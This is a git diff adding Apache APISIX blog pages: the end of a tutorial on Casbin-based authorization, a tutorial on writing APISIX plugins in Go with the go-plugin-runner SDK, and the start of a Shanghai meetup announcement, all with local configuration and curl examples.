+<p>From the above example, the policy should look like this.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">p,</span><span style="color:#79C0FF"> *</span><span style="color:#A5D6FF">,</span><span style="color:#A5D6FF"> /,</span><span style="color:#A5D6FF"> GET</span></span>
+<span class="line"><span style="color:#FFA657">p,</span><span style="color:#A5D6FF"> admin,</span><span style="color:#79C0FF"> *</span><span style="color:#A5D6FF">,</span><span style="color:#79C0FF"> *</span></span>
+<span class="line"><span style="color:#FFA657">g,</span><span style="color:#A5D6FF"> alice,</span><span style="color:#A5D6FF"> admin</span></span>
+<span class="line"><span style="color:#FFA657">g,</span><span style="color:#A5D6FF"> bob,admin</span></span></code></pre>
+<p>The matcher in the model indicates that.</p>
+<ol>
+<li><code>(g(r.sub, p.sub) || keyMatch(r.sub, p.sub))</code>: The subject in the request and the subject in the policy have the same role or the subject in the request and the subject in the policy can be matched by the built-in method <code>keyMatch</code>. <code>keyMatch</code> is a built-in function of Lua Casbin, a description of which and more can be found at <a href="https://github.com/casbin/lua-casbin/blob/master/src/util/BuiltInFunctions.lua">lua-casbin</a>.</li>
+<li><code>keyMatch(r.obj, p.obj)</code>: the object in the request and the object in the policy can match each other (proxy for URL links).</li>
+<li><code>keyMatch(r.act, p.act)</code>: the action in the request and the action in the policy match each other (proxy for the HTTP request method).</li>
+</ol>
+<h3 id="using-plugins-on-routes">Using plugins on routes</h3>
+<p>Once you have created a model and a policy, you can use it on a route using the APISIX Admin API. To use it, you can model and policy file paths to.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span st [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "authz-casbin": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "model_path": "/path/to/model.conf",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "policy_path": "/path/to/policy.csv",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "username": "user"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin"</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/*"</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<p>In this case, username is the username passed into the subject. For example, you can set <code>"username": "user"</code> to pass the <code>"user": "alice"</code> you defined to the username, making the username Alice.
+Similarly, you can put models and policies directly into</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span st [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "authz-casbin": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "model": "[request_definition]</span></span>
+<span class="line"><span style="color:#A5D6FF"> r = sub, obj, act</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> [policy_definition]</span></span>
+<span class="line"><span style="color:#A5D6FF"> p = sub, obj, act</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> [role_definition]</span></span>
+<span class="line"><span style="color:#A5D6FF"> g = _, _</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> [policy_effect]</span></span>
+<span class="line"><span style="color:#A5D6FF"> e = some(where (p.eft == allow))</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> [matchers]</span></span>
+<span class="line"><span style="color:#A5D6FF"> m = (g(r.sub, p.sub) || keyMatch(r.sub, p.sub)) && keyMatch(r.obj, p.obj) && keyMatch(r.act, p.act)",</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> "policy": "p, *, /, GET</span></span>
+<span class="line"><span style="color:#A5D6FF"> p, admin, *, *</span></span>
+<span class="line"><span style="color:#A5D6FF"> g, alice, admin",</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> "username": "user"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin"</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/*"</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<h3 id="using-plugins-with-global-modelspolicies">Using plugins with global models/policies</h3>
+<p>In some cases where you may want to use the same model and policy in multiple routes, you can first send a PUT request to send the model and policy configuration to the plugin’s metadata at</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">http://127.0.0.1:9080/apisix/admin/plugin_metadata/authz-casbi</span><span style="color:#E6EDF3">n</span><span style="color:#FF7B72">></span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-AP [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF">"model": "[request_definition]</span></span>
+<span class="line"><span style="color:#A5D6FF">r = sub, obj, act</span></span>
+<span class="line"><span style="color:#A5D6FF">[policy_definition]</span></span>
+<span class="line"><span style="color:#A5D6FF">p = sub, obj, act</span></span>
+<span class="line"><span style="color:#A5D6FF">[role_definition]</span></span>
+<span class="line"><span style="color:#A5D6FF">g = _, _</span></span>
+<span class="line"><span style="color:#A5D6FF">[policy_effect]</span></span>
+<span class="line"><span style="color:#A5D6FF">e = some(where (p.eft == allow))</span></span>
+<span class="line"><span style="color:#A5D6FF">[matchers]</span></span>
+<span class="line"><span style="color:#A5D6FF">m = (g(r.sub, p.sub) || keyMatch(r.sub, p.sub)) && keyMatch(r.obj, p.obj) && keyMatch(r.act, p.act)",</span></span>
+<span class="line"><span style="color:#A5D6FF">"policy": "p, *, /, GET</span></span>
+<span class="line"><span style="color:#A5D6FF">p, admin, *, *</span></span>
+<span class="line"><span style="color:#A5D6FF">g, alice, admin</span></span>
+<span class="line"><span style="color:#A5D6FF">g, bob, admin"</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<p>You then need to use the Admin API to send a request to make multiple routes use the same model/policy configuration; the</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span st [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "authz-casbin": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "username": "user"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin"</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/*"</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<p>This will add the plugin’s configuration to the route dynamically. You can easily update the plugin’s configuration by sending a request to update the model and policy in the plugin’s configuration data.</p>
+<h2 id="finally">Finally</h2>
+<p>Thanks to the developers of Casbin and Apache APISIX communities, from the Casbin community developers rushitote to raise issues and submit PRs, to the Apache APISIX community developers to actively review PRs, this cross-community collaboration is moving forward in a friendly and orderly way, responding to open source makes the world better.</p>
+<p>Source: <a href="https://medium.com/@rushitote/authorization-in-apisix-using-casbin-59b693669d6d">authorization-in-apisix-using-casbin</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://ww [...]
\ No newline at end of file
diff --git a/blog/2021/08/19/go-makes-apache-apisix-better/index.html b/blog/2021/08/19/go-makes-apache-apisix-better/index.html
new file mode 100644
index 00000000000..08484cf2921
--- /dev/null
+++ b/blog/2021/08/19/go-makes-apache-apisix-better/index.html
@@ -0,0 +1,139 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>How to use Go to develop Apache APISIX plugin | Apache APISIX</title><meta name="description" content="This article explains in detail how to use Go to develop the plug-in and specific operation steps of the cloud native API gateway Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/0 [...]
+<p>This article will explain in detail how to use Go to develop Apache APISIX plugins. By embracing the Go ecosystem and breaking new ground for Apache APISIX, we hope that Go will make Apache APISIX even better!</p>
+</blockquote>
+<!--truncate-->
+<h2 id="why-go">Why Go</h2>
+<p><a href="https://github.com/apache/apisix">Apache APISIX</a> allows users to extend functionality by way of plugins. Core features such as authentication, flow restriction, request rewriting, etc. are implemented by way of plugins. Although the core code of Apache APISIX is written in Lua, Apache APISIX supports multi-language development of plugins, such as Go, Java.</p>
+<p>This article will explain in detail how to develop Apache APISIX plugins in Go. By embracing the Go ecosystem, we are breaking new ground for Apache APISIX, and we hope that Go will make Apache APISIX even better!</p>
+<h2 id="installation">Installation</h2>
+<p>To use Go Runner as a library, the official <code>cmd/go-runner</code> example in <a href="https://github.com/apache/apisix-go-plugin-runner">apisix-go-plugin-runner</a> shows how to use the Go Runner SDK. The Go Runner SDK will also support loading pre-compiled plugins via the Go Plugin mechanism in the future.</p>
+<h2 id="development">Development</h2>
+<h3 id="developing-with-the-go-runner-sdk">Developing with the Go Runner SDK</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> tree</span><span style="color:#A5D6FF"> cmd/go-runner</span></span>
+<span class="line"><span style="color:#FFA657">cmd/go-runner</span></span>
+<span class="line"><span style="color:#FFA657">├──</span><span style="color:#A5D6FF"> main.go</span></span>
+<span class="line"><span style="color:#FFA657">├──</span><span style="color:#A5D6FF"> main_test.go</span></span>
+<span class="line"><span style="color:#FFA657">├──</span><span style="color:#A5D6FF"> plugins</span></span>
+<span class="line"><span style="color:#FFA657">│</span><span style="color:#A5D6FF"> ├──</span><span style="color:#A5D6FF"> say.go</span></span>
+<span class="line"><span style="color:#FFA657">│</span><span style="color:#A5D6FF"> └──</span><span style="color:#A5D6FF"> say_test.go</span></span>
+<span class="line"><span style="color:#FFA657">└──</span><span style="color:#A5D6FF"> version.go</span></span></code></pre>
+<p>Above is the directory structure of the official example. <code>main.go</code> is the entry point, where the most critical part is.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"><span style="color:#E6EDF3">cfg </span><span style="color:#FF7B72">:=</span><span style="color:#FFA657"> runner</span><span style="color:#E6EDF3">.</span><span style="color:#FFA657">RunnerConfig</span><span style="color:#E6EDF3">{}</span></span>
+<span class="line"><span style="color:#FF7B72">...</span></span>
+<span class="line"><span style="color:#E6EDF3">runner.</span><span style="color:#D2A8FF">Run</span><span style="color:#E6EDF3">(cfg)</span></span></code></pre>
+<p><code>RunnerConfig</code> can be used to control the log level and log output location.</p>
+<p><code>runner.Run</code> will make the application listen to the target location, receive requests and execute the registered plugins. The application will remain in this state until it exits.</p>
+<p>Open <code>plugins/say.go</code>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"><span style="color:#FF7B72">func</span><span style="color:#D2A8FF"> init</span><span style="color:#E6EDF3">() {</span></span>
+<span class="line"><span style="color:#E6EDF3"> err </span><span style="color:#FF7B72">:=</span><span style="color:#E6EDF3"> plugin.</span><span style="color:#D2A8FF">RegisterPlugin</span><span style="color:#E6EDF3">(</span><span style="color:#FF7B72">&</span><span style="color:#FFA657">Say</span><span style="color:#E6EDF3">{})</span></span>
+<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> err </span><span style="color:#FF7B72">!=</span><span style="color:#79C0FF"> nil</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> log.</span><span style="color:#D2A8FF">Fatalf</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"failed to register plugin say: </span><span style="color:#FF7B72">%s</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">, err)</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>Since <code>main.go</code> imports the plugins package, the</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"></span>
+<span class="line"><span style="color:#FF7B72"> ...</span></span>
+<span class="line"><span style="color:#E6EDF3"> _ </span><span style="color:#A5D6FF">"github.com/apache/apisix-go-plugin-runner/cmd/go-runner/plugins"</span></span>
+<span class="line"><span style="color:#FF7B72"> ...</span></span>
+<span class="line"><span style="color:#E6EDF3">)</span></span></code></pre>
+<p>This registers <code>Say</code> with <code>plugin.RegisterPlugin</code> before executing <code>runner.Run</code>.</p>
+<p><code>Say</code> needs to implement the following methods.</p>
+<p>The <code>Name</code> method returns the plugin name.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"><span style="color:#FF7B72">func</span><span style="color:#E6EDF3"> (</span><span style="color:#FFA657">p </span><span style="color:#FF7B72">*</span><span style="color:#FFA657">Say</span><span style="color:#E6EDF3">) </span><span style="color:#D2A8FF">Name</span><span style="color:#E6EDF3">() </span><span style="color:#FF7B [...]
+<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#A5D6FF"> "say"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p><code>ParseConf</code> will be called when the plugin configuration changes, parsing the configuration and returning a plugin-specific configuration context.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"><span style="color:#FF7B72">func</span><span style="color:#E6EDF3"> (</span><span style="color:#FFA657">p </span><span style="color:#FF7B72">*</span><span style="color:#FFA657">Say</span><span style="color:#E6EDF3">) </span><span style="color:#D2A8FF">ParseConf</span><span style="color:#E6EDF3">(</span><span style="color:#F [...]
+<span class="line"><span style="color:#E6EDF3"> conf </span><span style="color:#FF7B72">:=</span><span style="color:#FFA657"> SayConf</span><span style="color:#E6EDF3">{}</span></span>
+<span class="line"><span style="color:#E6EDF3"> err </span><span style="color:#FF7B72">:=</span><span style="color:#E6EDF3"> json.</span><span style="color:#D2A8FF">Unmarshal</span><span style="color:#E6EDF3">(in, </span><span style="color:#FF7B72">&</span><span style="color:#E6EDF3">conf)</span></span>
+<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> conf, err</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>The context of the plugin looks like this.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"><span style="color:#FF7B72">type</span><span style="color:#FFA657"> SayConf</span><span style="color:#FF7B72"> struct</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> Body </span><span style="color:#FF7B72">string</span><span style="color:#A5D6FF"> `json:"body"`</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p><code>Filter</code> is executed on every request with the say plugin configured.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"><span style="color:#FF7B72">func</span><span style="color:#E6EDF3"> (</span><span style="color:#FFA657">p </span><span style="color:#FF7B72">*</span><span style="color:#FFA657">Say</span><span style="color:#E6EDF3">) </span><span style="color:#D2A8FF">Filter</span><span style="color:#E6EDF3">(</span><span style="color:#FFA6 [...]
+<span class="line"><span style="color:#E6EDF3"> body </span><span style="color:#FF7B72">:=</span><span style="color:#E6EDF3"> conf.(</span><span style="color:#FFA657">SayConf</span><span style="color:#E6EDF3">).Body</span></span>
+<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#D2A8FF"> len</span><span style="color:#E6EDF3">(body) </span><span style="color:#FF7B72">==</span><span style="color:#79C0FF"> 0</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#FF7B72"> return</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3"> w.</span><span style="color:#D2A8FF">Header</span><span style="color:#E6EDF3">().</span><span style="color:#D2A8FF">Add</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"X-Resp-A6-Runner"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"Go"</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3"> _, err </span><span style="color:#FF7B72">:=</span><span style="color:#E6EDF3"> w.</span><span style="color:#D2A8FF">Write</span><span style="color:#E6EDF3">([]</span><span style="color:#FF7B72">byte</span><span style="color:#E6EDF3">(body))</span></span>
+<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> err </span><span style="color:#FF7B72">!=</span><span style="color:#79C0FF"> nil</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> log.</span><span style="color:#D2A8FF">Errorf</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"failed to write: </span><span style="color:#FF7B72">%s</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">, err)</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>You can see that Filter takes the value of the body inside the configuration as the response body. If the response is made directly in the plugin, it will break the request.</p>
+<p>Go Runner SDK API documentation: <a href="https://pkg.go.dev/github.com/apache/apisix-go-plugin-runner">https://pkg.go.dev/github.com/apache/apisix-go-plugin-runner</a></p>
+<p>After building the application (<code>make build</code> in the example), you need to set two environment variables at runtime.</p>
+<ol>
+<li><code>APISIX_LISTEN_ADDRESS=unix:/tmp/runner.sock</code></li>
+<li><code>APISIX_CONF_EXPIRE_TIME=3600</code></li>
+</ol>
+<p>Like this:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="go"><code><span class="line"><span style="color:#E6EDF3">APISIX_LISTEN_ADDRESS</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">unix:</span><span style="color:#FF7B72">/</span><span style="color:#E6EDF3">tmp</span><span style="color:#FF7B72">/</span><span style="color:#E6EDF3">runner.sock APISIX_CONF_EXPIRE_TIME</span><span style=" [...]
+<p>The application will listen to <code>/tmp/runner.sock</code> when it runs.</p>
+<h3 id="setting-up-apache-apisix-development">Setting up Apache APISIX (development)</h3>
+<p>The first step is to install Apache APISIX, which needs to be on the same instance as Go Runner.</p>
+<p><img src="https://static.apiseven.com/202108/1639467846997-8be8195d-98ac-457d-8b7f-a7b78e55fef1.png" alt="Apache APISIX work flow"></p>
+<p>The above diagram shows the workflow of Apache APISIX on the left, and the plugin runner on the right is responsible for running external plugins written in different languages. apisix-go-plugin-runner is such a runner that supports the Go language.</p>
+<p>When you configure a plugin runner in Apache APISIX, Apache APISIX treats the plugin runner as a child of itself, which belongs to the same user as the Apache APISIX process, and when we restart or reload Apache APISIX, the plugin runner will be restarted as well.</p>
+<p>If the ext-plugin-* plugin is configured for a given route, a request to hit that route will trigger Apache APISIX to make an RPC call to the plugin runner over a unix socket. The call is broken down into two phases.</p>
+<ul>
+<li>ext-plugin-pre-req: before executing most of the Apache APISIX built-in plugins (Lua language plugins)</li>
+<li>ext-plugin-post-req: after the execution of the Apache APISIX built-in plugins (Lua language plugins)</li>
+</ul>
+<p>Configure the timing of plugin runner execution as needed.</p>
+<p>The plugin runner processes the RPC call, creates a simulated request inside it, then runs the plugins written in other languages and returns the results to Apache APISIX.</p>
+<p>The order of execution of these plugins is defined in the ext-plugin-* plugin configuration entry. Like other plugins, they can be enabled and redefined on the fly.</p>
+<p>To show how to develop Go plugins, we first set up Apache APISIX to enter development mode. Add the following configuration to config.yaml.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">ext-plugin:</span></span>
+<span class="line"><span style="color:#FFA657"> path_for_test:</span><span style="color:#A5D6FF"> /tmp/runner.sock</span></span></code></pre>
+<p>This configuration means that after the routing rule is hit, Apache APISIX will make an RPC request to /tmp/runner.sock.</p>
+<p>Next, set up the routing rules.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span st [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/get",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "ext-plugin-pre-req": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "conf": [</span></span>
+<span class="line"><span style="color:#A5D6FF"> {"name":"say", "value":"{\"body\":\"hello\"}"}</span></span>
+<span class="line"><span style="color:#A5D6FF"> ]</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}</span></span>
+<span class="line"><span style="color:#A5D6FF">'</span></span></code></pre>
+<p>Note that the plugin name is configured in <code>name</code> and the plugin configuration (after JSON serialization) is placed in <code>value</code>.</p>
+<p>If you see <code>refresh cache and try again</code> warning on Apache APISIX side and <code>key not found</code> warning on Runner side during development, this is due to configuration cache inconsistency. Since the Runner is not managed by Apache APISIX in the development state, the internal state may be inconsistent. Don’t worry, Apache APISIX will retry.</p>
+<p>Then we request: curl 127.0.0.1</p><div></div>/get<p></p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/get</span></span>
+<span class="line"><span style="color:#FFA657">HTTP/1.1</span><span style="color:#79C0FF"> 200</span><span style="color:#A5D6FF"> OK</span></span>
+<span class="line"><span style="color:#FFA657">Date:</span><span style="color:#A5D6FF"> Mon,</span><span style="color:#79C0FF"> 26</span><span style="color:#A5D6FF"> Jul</span><span style="color:#79C0FF"> 2021</span><span style="color:#A5D6FF"> 11:16:11</span><span style="color:#A5D6FF"> GMT</span></span>
+<span class="line"><span style="color:#FFA657">Content-Type:</span><span style="color:#A5D6FF"> text/plain</span><span style="color:#E6EDF3">; charset</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">utf-8</span></span>
+<span class="line"><span style="color:#FFA657">Transfer-Encoding:</span><span style="color:#A5D6FF"> chunked</span></span>
+<span class="line"><span style="color:#FFA657">Connection:</span><span style="color:#A5D6FF"> keep-alive</span></span>
+<span class="line"><span style="color:#FFA657">X-Resp-A6-Runner:</span><span style="color:#A5D6FF"> Go</span></span>
+<span class="line"><span style="color:#FFA657">Server:</span><span style="color:#A5D6FF"> APISIX/2.7</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">hello</span></span></code></pre>
+<p>You can see that the interface returns hello and does not access any upstream.</p>
+<h3 id="setting-up-apache-apisix-run">Setting up Apache APISIX (run)</h3>
+<p>Here is an example of go-runner, which can be run by simply configuring the run command line in ext-plugin: the</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">ext-plugin:</span></span>
+<span class="line"><span style="color:#8B949E"> # path_for_test: /tmp/runner.sock</span></span>
+<span class="line"><span style="color:#FFA657"> cmd:</span><span style="color:#E6EDF3"> [</span><span style="color:#A5D6FF">"/path/to/apisix-go-plugin-runner/go-runner"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"run"]</span></span></code></pre>
+<p>Apache APISIX will treat the plugin runner as a child process of its own, managing its entire lifecycle.</p>
+<p>Note: Do not configure path_for_test at this point. Apache APISIX automatically assigns a unix socket address for the runner to listen to when it starts. You don’t need to set them manually.</p>
+<h2 id="summary">Summary</h2>
+<p>Go Plugin Runner is still in the early stages of development, we will continue to improve its functionality. We welcome you to participate in the development of apisix-go-plugin-runner, and let’s build a bridge between Apache APISIX and Go together!
+Click to visit <a href="https://github.com/apache/apisix-go-plugin-runner">apisix-go-plugin-runner</a>.</p>
+<h2 id="related-reading">Related reading</h2>
+<p><a href="https://apisix.apache.org/blog/2021/06/21/use-Java-to-write-Apache-APISIX-plugins">How to write Apache APISIX plugins in Java</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://ww [...]
\ No newline at end of file
diff --git a/blog/2021/08/21/shanghai-meetup/index.html b/blog/2021/08/21/shanghai-meetup/index.html
new file mode 100644
index 00000000000..1fd05634639
--- /dev/null
+++ b/blog/2021/08/21/shanghai-meetup/index.html
@@ -0,0 +1,50 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX Meetup in Shanghai, welcome to register! | Apache APISIX</title><meta name="description" content="This meetup will share with you the origin of the API gateway Apache APISIX community, iQIYI's user cases and how to implement centralized authentication on APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https:// [...]
+<p>This Meetup is initiated by <a href="https://www.apiseven.com/">api7.ai</a>, and invited partners such as iQiYi and Airwallex to present it. Apache APISIX PMC members, contributors, and community technical experts gathered to discuss Apache APISIX community development, industry practices, and other topics.</p>
+</blockquote>
+<!--truncate-->
+<h4 id="time-august-21-2021-13">Time: August 21, 2021, 13<div></div></h4>
+<h4 id="location-jinghe-island-ii-6th-floor-central-plaza-huangpu-district-shanghai">Location: Jinghe Island II, 6th Floor, Central Plaza, Huangpu District, Shanghai</h4>
+<h4 id="by-attending-this-meetup-you-can">By attending this Meetup, you can</h4>
+<ul>
+<li>Discuss the past and present of the Apache APISIX community</li>
